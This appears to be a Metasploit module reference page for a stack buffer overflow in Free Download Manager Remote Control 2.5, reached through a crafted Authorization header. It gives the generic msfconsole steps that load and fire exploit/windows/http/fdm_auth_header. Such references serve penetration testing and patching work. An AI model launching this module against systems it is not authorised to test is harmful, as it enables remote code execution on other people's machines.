This module exploits a stack buffer overflow in Free Download Manager Remote Control 2.5 Build 758. When sending a specially crafted Authorization header, an attacker may be able to execute arbitrary code.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/http/fdm_auth_header
msf exploit(fdm_auth_header) > show targets
...targets...
msf exploit(fdm_auth_header) > set TARGET < target-id >
msf exploit(fdm_auth_header) > show options
...show and set options...
msf exploit(fdm_auth_header) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
